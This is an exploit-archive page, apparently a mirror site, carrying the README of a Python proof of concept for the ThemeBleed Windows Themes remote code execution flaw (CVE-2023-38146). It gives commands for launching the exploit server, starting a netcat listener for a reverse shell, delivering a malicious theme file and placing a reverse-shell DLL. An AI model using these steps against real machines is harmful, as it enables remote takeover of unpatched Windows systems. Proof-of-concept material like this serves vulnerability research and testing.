Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2023-38146 PoC — Windows Themes Remote Code Execution Vulnerability

Source
Associated Vulnerability
Title: Windows Themes Remote Code Execution Vulnerability (CVE-2023-38146)
Description:Windows Themes Remote Code Execution Vulnerability
Description
PoC for the ThemeBleed Windows 11 CVE-2023-38146 written in python using impacket
Readme
# PoC for the ThemeBleed CVE-2023-38146 exploit (Windows 11 Themes)

Heavily inspired by https://github.com/gabe-k/themebleed which only runs on windows (the reason why i decided to write this).

Used modified code from the impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)

Useful stuff: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs

Blog Post:
https://jnns.de/posts/cve-2023-38146-poc/

## How to use this:

Install the requirements and run the application:
```bash
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711

# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
```

Use the "evil_theme.theme" or "evil_theme.themepack" on a vulnerable machine.

Profit!

## Custom DLL File:

Place a DLL with an exported function "VerifyThemeVersion" in the 
"./td/" folder named "Aero.msstyles_vrf_evil.dll". You should be able to find an example DLL by using google or use my example https://github.com/Jnnshschl/ThemeBleedReverseShellDLL.

```bash
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll

# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →